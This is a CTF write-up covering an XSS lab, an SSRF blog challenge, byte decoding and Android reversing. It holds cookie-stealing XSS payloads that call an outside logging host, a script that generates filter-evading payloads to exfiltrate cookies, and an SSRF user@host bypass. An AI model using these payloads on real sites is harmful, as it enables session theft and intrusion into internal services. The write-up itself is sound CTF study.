250531_NOPSctf learning record

【全栈ctfer计划中,会持续复现学习与更新该文章】

赛事信息

image.png

战队排名情况

排名:13 image.png

题目附件

Miscellaneous

Selfie Memory

image.png

G-Bee-S

image.png image.png

Big Phone

image.png

Musical Encounter

image.png

Maze Cup

image.png

The Cardmaster

image.png

web

Press Me If U Can

image.png Press me if you can

(1)XSS Lab

考察点:xss单标签绕过多标签、//绕过协议解析、jsfuck编码绕过关键词和特殊字符过滤

image.png RequestBin — A modern request bin to collect, inspect and debug HTTP requests and webhooks - Pipedream XSS 1/4 xsslab.nops.re

赛后尝试

xss1

image.png 第一部分xss没有过滤,很简单,题目让我们窃取bot的cookie: <script>var img=document.createElement("img");img.src="http://nmc9yl.ceye.io?cookie="+document.cookie;</script> image.png image.png 也可以用题目推荐的webhook网站来接收,很容易猜测是拼接到url去访问到下一关卡,因为这是多部分的xss。 在赛后给的源码中显示的是一串随机数api: image.png

xss2

访问/xss2到第二部分: image.png 严格匹配小写的script和​以</开头、以>结尾的HTML 闭合标签​​,即双标签的。 显然可以使用单标签绕过: <img src=x onerror='document.location.replace("http://nmc9yl.ceye.io/?c="+document.cookie)'> image.png

xss3

image.png 在xss2基础上过滤了URL 协议前缀​://、 事件处理属性​​。 事件关键词可以大小写绕过,但不知道怎么绕过URL协议前缀,卡住。

赛后学习-solved by dr.kasbr

xss3

image.png 由于浏览器会自动补全协议,// 实际上等价于 ://(补全后),因此可以利用这一特性绕过过滤。不过尝试了之后发现接收不到,尝试官方wp: <img src=x oNerror='document.location.replace("//nmc9yl.ceye.io/?c="+document.cookie)'> image.png

xss4
1
2
3
4
5
def filter_4(payload):
regex = "(?i:(.*(/|script|(</.*>)|document|cookie|eval|string|(\"|'|`).*(('.+')|(\".+\")|(`.+`)).*(\"|'|`)).*))|(on\w+\s*=)|\+|!"
if re.match(regex, payload):
return "Nope"
return payload

这题过滤字符过多,可以考虑用jsfuck编码,因为该编码的特点能够规避大部分过滤。

JSFuck 生成的代码​​不依赖被过滤的特殊符号​​(如 ;{}function 等),仅用 +[]() 等基础符号,因此容易绕过基于符号的黑白名单过滤,且​​不直接包含明文的关键字。最重要的是,JSFuck 生成的字符串是动态拼接的,正则无法识别“通过 + 和 [] 生成的 script

传递webhookURL生成jsfuck的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import sys

def build_payload(host: str) -> str:
js = f"fetch('//{host}?f='+document.cookie)"
codes = ','.join(str(ord(c)) for c in js)
return (
'<img src=x onerror='
f'([]+[]).constructor.constructor(([]+[]).constructor.fromCharCode({codes}))()>'
)

if __name__ == "__main__":
if len(sys.argv) != 2:
print("usage: python3 0xfun.py <webhook-host>")
sys.exit(1)
print(build_payload(sys.argv[1].strip().rstrip('/')))

image.png

(1)Blog

image.png

考察点:ssrf漏洞的fuzz思路、0.0.0.0覆盖原主机名backend实现bypass

赛后尝试

web初探

image.png sylvester较可能是系统管理员用户。 首页的js部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script>  
        async function get_blog(blog="all") {
            let reponse = await fetch('/blog.php?blog='+blog);
            let json = await reponse.json();
            document.getElementById('blog').innerHTML = "";
            if (blog == "all") {
                for (let i = 0; i < json.length; i++) {
                    var elemDiv = document.createElement('div');
                    elemDiv.className = "blog-entry";
                    elemDiv.innerHTML = `<h2><a onclick="get_blog(blog=${json[i].id})">${json[i].title}</a> - <i>${json[i].name}</i></h2>`;
                    document.getElementById('blog').appendChild(elemDiv);
                }
            } else {
                var elemDiv = document.createElement('div');
                elemDiv.className = "blog-entry";
                elemDiv.innerHTML = `<div class="content"><h2>${json.title}</h2><div class="text-blog"><p>${json.content}</p><div class="signature"><i>- ${json.name}</i></div></div><button onclick="get_blog();">Back</button></div>`;
                document.getElementById('blog').appendChild(elemDiv);
            }
        }
        get_blog();
</script>

核心作用是通过向指定断点发送异步请求从服务端获取博客数据,并根据参数渲染「全部博客列表」或「单篇博客详情」。all是加载所有博客,指定博客则是通过ID,均返回json格式。 image.png

fuzz blogid

猜测有隐藏博客,尝试fuzz博客的id: 尝试从0到1000,依然只有3个有效文章: /blog.php?blog=§5§ image.png 尝试了fuzz路径也没有什么信息,卡住。

赛后学习-solved by dr.kasbr

image.png 队友的讨论记录点醒了我,确实前面的fuzz实际上是向前端与后端交互的端点发送请求,也就是说题目部署方式很可能是前后端分离的。 image.png image.png 上面说明blog参数除了可以通过ID获取指定博客,也可以直接访问url,并且提示只允许给后端主机发送请求,那就很大概率是ssrf了。

传递无效字符串时提示无效ID: image.png

ssrf fuzz

那么接下来不应该是访问本地了,因为前后端可能分离部署,所以需要指定主机名/用户名,根据经验最有可能的命名就是后端,即?blog=http://backend.com?blog=http://backend@127.0.0.1。前者其实可以忽略,因为前后端可能对应不同容器不同ip,如果要前者还得知道该域名解析后对应的真正ip,后者则类似于fuzz用户名,而如果要寻找其他主机实际上可以把127.0.0.1替换成0.0.0.0(这种也可以作为绕过127.0.0.1过滤的方式,间接访问),这样就能尝试和同网络中的所有可能目标发送请求,看哪个/哪些目标发送回正确的响应。即此时就不需要知道后端的真实ip。

根据 URL 的标准格式(RFC 3986),完整的 URL 结构为:
protocol://[username[:password]@]host:port/path?query#fragment

image.png 发现同样是访问到了该页面,默认的80端口,但是没有太多有价值信息。但既然是ssrf,还可以作为端口探测的方式,所以可以尝试fuzz端口,查看是否其他端口提供有价值服务: image.png 探测到8080端口返回了flag: image.png

image.png

深入研究

分析源码思考漏洞利用

研究下源码的后端接收该请求的地方在哪里,以及为什么上述方式能够绕过。

  • 网络分配情况 image.png

image.png

image.png

image.png 除了mysql,前后端和redis都被分配到了同一个内网网段中。 另外从php_front目录的配置文件中可以知道分别为两个服务指定了不同的虚拟主机,客户端通过不同端口访问时,Apache会根据端口路由到对应的虚拟主机: image.png 可以发现这并不是严格意义上的前端(因为两个核心容器都有后端组件Apache)。 还有端口配置文件: image.png

  • 前后端日志信息: front日志: 利用ssrf的fuzz内网端口探测: image.png backend日志: image.png 接收来自front172.23.0.3的请求。
  • php_back (1)index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
// 设置响应头为JSON格式,告知客户端返回的数据类型
header("Content-Type: application/json");

$mysql_pass "6bba23db7f6df87eb215120d86e8ebd8001a695dabafcf8d6ac4b437ab06b716";
$mysql_user "root";
$mysql_host "mysql";
$mysql_db 'blog_db';
$conn new mysqli($mysql_host$mysql_user$mysql_pass$mysql_db);

// 解析请求的URI路径,提取资源ID参数
// $_SERVER['REQUEST_URI'] 获取当前请求的完整URI(如:/blog/123 或 /blog/all)
$url parse_url($_SERVER['REQUEST_URI']);  // 解析URI为数组(包含scheme/host/path等)
$path trim($url['path'], '/');            // 去除路径首尾的斜杠(如将 "/blog/all" 转为 "blog/all")
$url explode('/'$path);                 // 按斜杠分割路径,得到数组(如 ["blog", "all"] 或 ["blog", "123"])
$id $url[0];                             // 提取第一个路径段作为资源标识(可能是"all"或具体ID)

// 根据ID类型分发请求处理逻辑
if ($id === 'all') {
    /**
     * 处理获取所有博客文章的请求
     * 查询blog_posts表与users表的关联数据(作者信息)
     */
    $query "SELECT blog_posts.id, blog_posts.title, users.username AS name
              FROM blog_posts
              JOIN users ON blog_posts.user_id = users.id;";  // SQL查询语句(连接两个表获取标题和作者)
    $result $conn->query($query);                          // 执行查询
    $rows = [];                                              // 初始化结果数组
    while($row $result->fetch_assoc()) {                     // 遍历查询结果集
        $rows[] = $row;                                        // 将每行数据转为关联数组并存入结果
    }

    echo json_encode($rows);                                   // 输出JSON格式的所有文章数据

else if (!is_numeric($id)) {
    /**
     * 处理无效ID的情况(非数字)
     * 返回包含错误信息的JSON响应
     */
    echo json_encode(["error" => "Invalid ID"]);               // 输出错误提示

else {
    /**
     * 处理获取单篇博客文章的请求(通过ID)
     * 使用预处理语句防止SQL注入攻击
     */
    // 预处理SQL语句(?为占位符,后续绑定具体值)
    $stmt $conn->prepare("SELECT blog_posts.id, blog_posts.title, blog_posts.content, users.username AS name
                           FROM blog_posts
                           JOIN users ON blog_posts.user_id = users.id
                           WHERE blog_posts.id = ?");

    // 绑定参数("i"表示整数类型,$id为要绑定的值)
    $stmt->bind_param("i"$id);
    $stmt->execute();                                         // 执行预处理语句
    $result $stmt->get_result();                            // 获取查询结果集
    $row $result->fetch_assoc();                            // 提取单条记录(若存在)
    echo json_encode($row);                                   // 输出JSON格式的单篇文章数据(无结果时返回null)
}

?>

和前端js中看到的异步请求中的判断逻辑是对应上的,返回从mysql数据库中查询的数据,最终加密为json格式来输出。

  • php_front image.png Dockerfile中也同样定义了两个端口,即php_front开放了两个服务。 (1)index.html image.png 藏有flag的页面,开放在8080端口,位于internal目录下,只有内网才能够访问(因为80并没有在docker-compose.yml中定义与主机端口的映射,模拟拒绝外网访问的场景)。 (2)index.php 这里就是用户能访问到的页面,最前面php部分调用redis记录同一ip的请求次数,对爆破做了基本防御: image.png 后面就是之前分析过的了。 (3)blog.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php  
// 定义后端服务的基础主机地址(可能是内部服务名或域名,如Docker服务名)
$backend_host "backend";

// 检查前端是否通过GET方法传递了"blog"参数(如:?blog=post123 或 ?blog=http://backend/special)
if (isset($_GET['blog'])) {
    # 检查"blog"参数是否以"http://"开头(即用户尝试直接指定完整URL)
    if (str_starts_with($_GET['blog'], 'http://')) {
        # 进一步验证:若用户指定的URL不是以"http://backend"开头(即非内部后端服务),拒绝访问
        if (!str_starts_with($_GET['blog'], 'http://backend')) {
            # 返回403禁止访问状态码,并提示警告信息
            header('HTTP/1.1 403 Unauthorized');
            echo "<pre><b>Warning</b>: Request should only be sent to <b>backend</b> host.</pre>";
            die();  // 终止脚本执行
        }
        # 若URL符合"http://backend"开头,将其作为目标URL(允许直接访问指定后端资源)
        $url $_GET['blog'];
    } else {
        # 非完整URL情况:将前端传递的"blog"参数拼接到后端基础地址后(如:blog=post123 → backend/post123)
        $url $backend_host "/" . $_GET['blog'];
    }

    # 初始化cURL会话(用于发送HTTP请求到后端)
    $ch curl_init();

    # 配置cURL选项:
    # CURLOPT_RETURNTRANSFER: 将响应内容作为字符串返回(而非直接输出到浏览器)
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    # CURLOPT_URL: 设置请求的目标URL(即构造的$backend_host或用户指定的完整URL)
    curl_setopt($ch, CURLOPT_URL, $url);

    # 执行cURL请求,并获取响应结果
    $result curl_exec($ch);

    # 将后端返回的结果输出给前端(直接打印)
    echo $result;

    # 关闭cURL会话,释放资源
    curl_close($ch);
}

?>

关键就在于blog参数值的判断,所以黑盒fuzz时的backend对应主机名,也就是docker创建后端php_back时对应的docker服务名。这里前端接收到构造的目标URL后通过cURL转发请求给backend

显然这个代码片段就是关键,为什么存在ssrf,代码的预期是想要通过cURL把请求转发到主机名为backend的容器,校验时只验证前缀是否为http://backend,而攻击者利用URL的认证语法(user@host)欺骗cURL,使其实际连接到攻击者指定的http://backend@0.0.0.0:8080,此时的backend则变成了用户名,不管这个用户名是否存在,cURL都会尝试访问,接着后面部分就是攻击者构造的任意主机名,相当于攻击者可以控制cURL访问的主机,把原主机名覆盖了,这就导致了能够利用SSRF来实现内网探测,最终这里0.0.0.0路由时实际最终指向了php_front本地部署的flag页面,如下:http://127.0.0.1:8080/(var/www/internal)/index.html

Casin0ps

image.png Login

Game Boy

image.png

Game Boy Advance

image.png

Plotwist

image.png image.png

Cryptography

The Emperor

image.png 加密内容:

1
2
3
Ea, kag pqoapqp uf tgt?
Ftqz, tqdq ue ftq rxms:
UVGEFPQOAPQPMOMQEMDOUBTQDITUOTYMWQEYQMBDARQEEUAZMXODKBFATQDA

image.png image.png 用凯撒也可以解密。 image.png

Break My Stream

image.png

Key Exchange

image.png

CrypTopiaShell

image.png

n0psichu

image.png

Meago

image.png

Free n00psy

image.png image.png Wayback Machine

Pwn

pwnfield

image.png

Under Attack

image.png

Reverse Engineering

(1)Read the Bytes!

image.png

考察点:ascii还原为字符

赛后尝试

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flag import flag

# flag = b"XXXXXXXXXX"

for char in flag:
print(char)

# 66
# 52
# 66
# 89
# 123
# 52
# 95
# 67
# 104
# 52
# 114
# 97
# 67
# 55
# 51
# 114
# 95
# 49
# 115
# 95
# 74
# 117
# 53
# 116
# 95
# 52
# 95
# 110
# 85
# 109
# 56
# 51
# 114
# 33
# 125

很简单的python程序,题目告知最后的注释内容是该程序的输出,输出是整数,而flag是字节串,所以很有可能这些是ascii码表示后的,显然可以尝试还原出原字符串。

还原脚本编写

1
2
3
4
5
6
7
8
9
10
11
ascii_values = [  
66, 52, 66, 89, 123, 52, 95, 67, 104, 52, 114, 97, 67, 55, 51, 114,
95, 49, 115, 95, 74, 117, 53, 116, 95, 52, 95, 110, 85, 109, 56, 51,
114, 33, 125
]

flag_str = ''.join(chr(i) for i in ascii_values)
print(flag_str)
# 或:
# for char in chars:
# flag += chr(char)

image.png

(未完待续)LooneyDroid

image.png

考察点:编写frida脚本hook

比赛时的临时笔记

app初探

image.png jadx反编译器中定位相关字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// 主活动类,继承自AppCompatActivity,作为应用的入口界面
package com.tnemesis.rev2.components;
import android.os.Bundle;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
// 导入通过View Binding生成的绑定类(对应activity_main.xml布局)
import com.tnemesis.rev2.databinding.ActivityMainBinding;
import java.io.File;

/* loaded from: classes.dex */ // 标记该类由dex文件加载(Android运行时优化)
public class MainActivity extends AppCompatActivity {
// View Binding实例,用于简化布局视图的查找(替代findViewById)
private ActivityMainBinding binding;

@Override // 重写Activity的onCreate方法(组件创建时回调)
protected void onCreate(Bundle bundle) {
// 调用父类onCreate完成基础初始化
super.onCreate(bundle);

// 加载布局并生成View Binding实例:
// ActivityMainBinding.inflate()会根据activity_main.xml布局生成对应的绑定类实例
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
// 将绑定实例保存到成员变量供后续使用
this.binding = inflate;
// 设置当前活动的根视图为绑定类的根布局(替代setContentView(R.layout.activity_main))
setContentView(inflate.getRoot());

/*
* 尝试在应用私有数据目录创建一个空文件(路径:/data/data/包名/looney_droids.fails)
* 目的可能是:测试文件操作权限、标记应用运行状态或作为某种功能触发条件
* createNewFile()仅在文件不存在时创建,若已存在则返回false(此处忽略结果)
*/
try {
// 获取应用私有数据目录下的文件对象,并尝试创建新文件
new File("/data/data/com.tnemesis.rev2/looney_droids.fails").createNewFile();
} catch (Exception unused) {
// 捕获文件创建过程中的异常(如权限不足),但此处不处理异常(unused变量表示未使用异常信息)
}

// 从View Binding中获取布局中的TextView组件(对应布局文件中id为sampleText的TextView)
TextView textView = this.binding.sampleText;

// 判断启动当前Activity的Intent是否包含名为"result"的额外数据
if (!getIntent().hasExtra("result")) {
// 若没有"result"数据,设置默认提示文本
str = "No interesting cartoon here.";
} else {
// 若有"result"数据,从Intent中获取该字符串类型的额外值
str = getIntent().getStringExtra("result");
}
// 将TextView的显示内容设置为获取到的字符串
textView.setText(str);
}
}

主活动类,继承自AppCompatActivity,作为应用的入口界面。 AndroidManifest.xml中还注册了另一个主要组件RandomReceiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.tnemesis.rev2.components;

// 导入 Android 广播相关类
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/* loaded from: classes.dex */
// 这是一个广播接收器类,用于响应特定广播 Intent(由 AndroidManifest 注册)
public class RandomReceiver extends BroadcastReceiver {

// 声明一个 native 静态方法,用于处理传入的字符串
// 具体实现位于 native 库 "librev2.so" 中
public static native String decodeMessage(String str);

// 加载 native 库,在类加载时执行
static {
System.loadLibrary("rev2"); // 加载 librev2.so
}

// 重写 onReceive 方法,广播被触发时调用
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {

// 从广播中提取名为 "cartoon" 的字符串参数
// 如果没有该参数,传入 null
String strDecodeMessage = decodeMessage(
intent.hasExtra("cartoon")
? intent.getStringExtra("cartoon")
: null
);

// 创建一个跳转到 MainActivity 的 Intent
Intent intent2 = new Intent(
context.getApplicationContext(),
(Class<?>) MainActivity.class
);

// 将 decodeMessage() 返回的字符串作为参数 "result" 放入 intent2
intent2.putExtra("result", strDecodeMessage);

// 设置标志:以新任务启动 MainActivity
intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 268435456

// 启动 MainActivity 并传入解析结果
context.getApplicationContext().startActivity(intent2);
}
}

提取lib.so

因为很多app上能看到的部分功能或者有些加密函数等,可能并非是直接定义在其代码中的,而是在外部的lib库,因此需要单独提取分析,上面的注释中也提到了decodeMessage()函数是来自于库中加载的: image.png 想在ida中查看反编译后的decodeMessage()函数,但不知为什么导致ida直接崩溃无法反编译该函数。

赛后学习

AndroidManifest遗漏的点

查看官方wp后,发现遗漏分析了AndroidManifest.xml一个很关键的地方:

1
2
3
4
5
6
7
8
9
10
11
12
<application
......
<receiver
android:name="com.tnemesis.rev2.components.RandomReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="com.tnemesis.rev2.B3ST_C4RTOON"/>
</intent-filter>
</receiver>
......
</application>

逐一解释该关键部分,

  • <receiver android:name=...>作用是注册一个广播接收器(BroadcastReceiver),用来监听广播并响应事件,且自定义了类RandomReceiver来继承重写该广播接收器。
  • android:enabled="true"表示此接收器是启用状态,会被系统识别并注册,否则即使写在 Manifest 中,系统也不会激活它。
  • ⚠️‼️android:exported="true" 这是漏洞利用的关键配置!表示该接收器是否允许外部应用发广播调用它,若为false,则仅限本 App 内部发广播才会触发它,由于它是 exported=true,这意味着任何人只要知道它监听的 Action 名字,就可以调用它。这在 CTF、逆向、安全测试中极具价值!
  • <intent-filter><action> 子标签:意味着该 Receiver 监听的广播类型,<action android:name="com.tnemesis.rev2.B3ST_C4RTOON" />这是其他 App 或终端用来唤醒这个接收器的 唯一标识符,也是我遗漏的关键信息!

注意到,在jadx中即使定位到相应的包,也没有看到B3ST_C4RTOON的具体实现,因为这只是一个纯字符串,不是来自 Java 类或常量定义。它不会出现在代码中,除非开发者也在代码中引用了这个字符串。发现整个项目中它也就只有在AndroidManifest.xml出现过: image.png

adb尝试发送广播交互

所以,当尝试在终端用adb向该app发送广播如下:

1
adb shell am broadcast -a com.tnemesis.rev2.B3ST_C4RTOON --es cartoon "flag{...}"

就会触发com.tnemesis.rev2.components.RandomReceiver中的onReceive()方法,回顾下该方法接收的广播中要有cartoon参数,否则传入null,传递的值再交由decodeMessage()进一步处理。 尝试交互一下: image.png 说明广播接收成功,但由于cartoon传递的值是错误的,所以没有返回有价值结果,不传参数也是同样的返回: image.png

检测反调试技术

可以在ida中查看librev2.soJNI_OnLoad(),这是 native 层的入口函数,Java 在 System.loadLibrary("rev2") 时自动执行它,用于初始化和注册本地方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
jint JNI_OnLoad(JavaVM *vm, void *reserved)
{
jint v2; // 保存返回的 JNI 版本号
FILE *v4; // 用于文件写入
bool v5; // 用于判断设备是否安全
__int64 (__fastcall *v6)(); // 指向最终绑定的 native 函数(decodeFlag 或 decodeMessage)
jint v7; // RegisterNatives 的返回值
_JNIEnv *v8; // JNIEnv 指针
__int128 v9; // 用于存储 native 方法注册结构体
__int64 (__fastcall *v10)(); // 要绑定到 Java 的 native 方法地址
__int64 v11; // 读取 CPU 寄存器的一段(可以忽略)

v2 = 65542; // 常量,对应 JNI_VERSION_1_6(0x00010006)

// 这行使用 ARM64 的系统寄存器读取,作用是获取线程栈信息,非关键逻辑可忽略
v11 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 0xD, 0, 2)) + 40);

// 尝试获取 JNIEnv,如果失败则返回 -1 表示 JNI 初始化失败
if ( (*vm)->GetEnv(vm, (void **)&v8, 65542LL) )
return -1;

// 检查是否已存在绕过文件,如果存在则不执行任何安全检测,直接返回成功
if ( !access("/data/data/com.tnemesis.rev2/looney_droids.fails", 0) )
return v2;

// 如果文件不存在,则创建该标记文件用于“记住”已通过安全检查
v4 = fopen("/data/data/com.tnemesis.rev2/looney_droids.fails", "w");
fclose(v4);

// 检查 Java 层的目标类是否存在,否则中止 JNI 注册
if ( !v8->functions->FindClass(v8, "com/tnemesis/rev2/components/RandomReceiver") )
return -1;

// 从全局符号表读取本地方法信息(如函数名/签名),赋值给 v9
v9 = *(_OWORD *)off_50C58;

// 调用 native 层的 isDeviceSafe() 函数判断设备环境是否安全
// 如果返回 0(不安全),则 v5 = true
v5 = (isDeviceSafe(v8) & 1) == 0;

// 根据是否安全选择绑定 decodeFlag 或 decodeMessage
v6 = decodeMessage; // 默认绑定假的 decodeMessage
if ( !v5 )
v6 = decodeFlag; // 如果设备安全,绑定真正的解密函数

// 设置最终 native 方法函数指针
v10 = v6;

// 注册 native 方法,将 Java 层的 native 方法绑定到底层 v10 函数
v7 = ((__int64 (*)(void))v8->functions->RegisterNatives)();

// 如果注册失败,则返回错误码
if ( v7 )
return v7;
else
return 65542; // 成功注册,返回 JNI_VERSION_1_6
}

先通过调用access()进行初步检测,在类 Unix 系统(包括 Android,因为它基于 Linux)中,access() 是一个标准系统调用,用于检查文件或目录是否存在以及用户对它的访问权限,而无需实际打开文件。原型:int access(const char *pathname, int mode);mode分别有如下值:

  • F_OK: 检查文件是否存在。
  • R_OK: 检查文件是否可读。
  • W_OK: 检查文件是否可写。
  • X_OK: 检查文件是否可执行。 代码中的0 等同于 F_OK,返回值中,0 (零):表示检查成功-1: 表示检查失败。当 JNI_OnLoad 首次执行,或者文件不存在时,access() 函数会返回 -1!access(...) 会变成 !(-1),其布尔值为 !true,即 false。所以 if 条件不满足,程序会继续执行 if 块之外的代码。同理,文件已经存在时(第二次及以后启动,且未被删除),即返回0的情况,程序会立即 return v2;,跳过所有后续的安全检查代码 (fopen, isDeviceSafe 等)。 image.png 接着关键的反调试判断逻辑在isDeviceSafe()函数中,如果判断设备是安全的,则当接收到广播传递的cartoon参数值后,将 Java 层的 native 方法绑定到底层的真正解密函数decodeFlag()而不是假的处理函数decodeMessage()。由于ida中反编译isDeviceSafe()有问题,观察其反汇编代码,主要关注调用了哪些函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:0000000000023E98 ; __int64 __fastcall isDeviceSafe(_JNIEnv *)
.text:0000000000023E98 EXPORT _Z12isDeviceSafeP7_JNIEnv
.text:0000000000023E98 _Z12isDeviceSafeP7_JNIEnv ; CODE XREF: .plt:000000000004F3FC↓j
.text:0000000000023E98 ; DATA XREF: LOAD:0000000000000D48↑o ...
.text:0000000000023E98 ; __unwind {
.text:0000000000023E98 STP X29, X30, [SP,#-0x10]!
.text:0000000000023E9C MOV X29, SP
.text:0000000000023EA0 BL ._Z17checkJavaControlsP7_JNIEnv ; checkJavaControls(_JNIEnv *)
.text:0000000000023EA4 TBNZ W0, #0, loc_23EB8
.text:0000000000023EA8 BL ._Z26detectFridaNamedPipeNativev ; detectFridaNamedPipeNative(void)
.text:0000000000023EAC TBNZ W0, #0, loc_23EB8
.text:0000000000023EB0 BL ._Z23detectFridaThreadNativev ; detectFridaThreadNative(void)
.text:0000000000023EB4 TBZ W0, #0, loc_23EC8
.text:0000000000023EB8
.text:0000000000023EB8 loc_23EB8 ; CODE XREF: isDeviceSafe(_JNIEnv *)+C↑j
.text:0000000000023EB8 ; isDeviceSafe(_JNIEnv *)+14↑j
.text:0000000000023EB8 MOV W8, WZR
.text:0000000000023EBC
.text:0000000000023EBC loc_23EBC ; CODE XREF: isDeviceSafe(_JNIEnv *)+38↓j
.text:0000000000023EBC AND W0, W8, #1
.text:0000000000023EC0 LDP X29, X30, [SP+0],#0x10
.text:0000000000023EC4 RET
.text:0000000000023EC8 ; ---------------------------------------------------------------------------
.text:0000000000023EC8
.text:0000000000023EC8 loc_23EC8 ; CODE XREF: isDeviceSafe(_JNIEnv *)+1C↑j
.text:0000000000023EC8 BL ._Z21isFridaOpenPortNativev ; isFridaOpenPortNative(void)
.text:0000000000023ECC EOR W8, W0, #1
.text:0000000000023ED0 B loc_23EBC
.text:0000000000023ED0 ; } // starts at 23E98
.text:0000000000023ED0 ; End of function isDeviceSafe(_JNIEnv *)
  • checkJavaControls():检测 Java 层是否存在调试器等 Hook 框架(如 Xposed)。
  • detectFridaNamedPipeNative():检查是否存在 Frida 的命名管道。
  • detectFridaThreadNative():检查是否存在 Frida 的线程特征。
  • isFridaOpenPortNative():检查 Frida 默认监听端口(如 27042、27043)。 显然是一个很标准的反frida的检测逻辑,如果任意一个检测命中(即发现不安全因素),返回 0,否则返回 1 表示“设备安全”。

除了frida,还要检查是否有反root的检测: 在java层就可以看到,同样是很常规的检测逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package com.tnemesis.rev2.models;

import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Build;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;

/**
* Checker 类用于检测设备是否已经 root。
* 包含多种反Root检测方法:检测test-keys、常见Root工具包名、su/busybox等二进制文件存在等。
*/
public class Checker {
// 静态上下文对象,供整个类方法使用
private static Context context;

// 构造函数,接收 Context 实例
public Checker(Context context2) {
context = context2;
}

/**
* 检查系统 Build 标签中是否包含 test-keys(代表非官方签名的系统,通常是root过的)
*/
public boolean detectTestKeys() {
String str = Build.TAGS;
return str != null && str.contains("test-keys");
}

/**
* 检查是否安装了常见的Root管理工具应用(如SuperSU、Magisk Manager)
*/
public boolean detectRootManagementApps() {
return isAnyPackageFromListInstalled(Arrays.asList(Const.knownRootAppsPackages));
}

/**
* 检查是否安装了具有潜在危险的Root相关App(如Root Checker、BusyBox等)
*/
public boolean detectPotentiallyDangerousApps() {
return isAnyPackageFromListInstalled(Arrays.asList(Const.knownDangerousAppsPackages));
}

/**
* 检查是否安装了用于隐藏Root的工具(如Xposed、HideMyRoot等)
*/
public boolean detectRootCloakingApps() {
return isAnyPackageFromListInstalled(Arrays.asList(Const.knownRootCloakingPackages));
}

/**
* 检查 /system/bin 或 /system/xbin 等目录下是否存在 su 可执行文件
*/
public boolean checkForSuBinary() {
return checkForBinary("su");
}

/**
* 检查设备是否存在 Magisk 二进制文件
*/
public boolean checkForMagiskBinary() {
return checkForBinary("magisk");
}

/**
* 检查设备是否存在 busybox 二进制文件
*/
public boolean checkForBusyBoxBinary() {
return checkForBinary("busybox");
}

/**
* 核心方法:遍历系统多个常见可执行路径,判断某个二进制文件是否存在
* @param str 二进制文件名(如 su, magisk, busybox)
*/
private boolean checkForBinary(String str) {
boolean z = false;
for (String str2 : Const.getPaths()) {
if (new File(str2, str).exists()) {
z = true;
}
}
return z;
}

/**
* 给定一个应用包名列表,检查是否至少安装了其中一个包
* 若能找到其中任意一个包名,则说明系统可能已被Root或存在可疑App
*/
private boolean isAnyPackageFromListInstalled(List<String> list) throws PackageManager.NameNotFoundException {
PackageManager packageManager = context.getPackageManager();
Iterator<String> it = list.iterator();
boolean z = false;
while (it.hasNext()) {
try {
packageManager.getPackageInfo(it.next(), 0); // 检查包名是否存在
z = true;
} catch (PackageManager.NameNotFoundException unused) {
// 忽略未找到的包
}
}
return z;
}

/**
* 使用 'which su' 命令检测 su 二进制是否存在于 PATH 中
* 这种方法是多数 root 检测工具的经典手段
*/
public boolean checkSuExists() {
Process processExec = null;
try {
processExec = Runtime.getRuntime().exec(new String[]{"which", "su"});
boolean z = new BufferedReader(new InputStreamReader(processExec.getInputStream())).readLine() != null;
if (processExec != null) {
processExec.destroy();
}
return z;
} catch (Throwable unused) {
if (processExec != null) {
processExec.destroy();
}
return false;
}
}
}

绕过反frida的思路

frida脚本编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// Avoid file existence check
let evade = false; // 声明一个全局变量 `evade`,用于标记是否需要规避文件检查。默认为 false。

// Interceptor.attach 用于 Hook (拦截) 指定的函数。
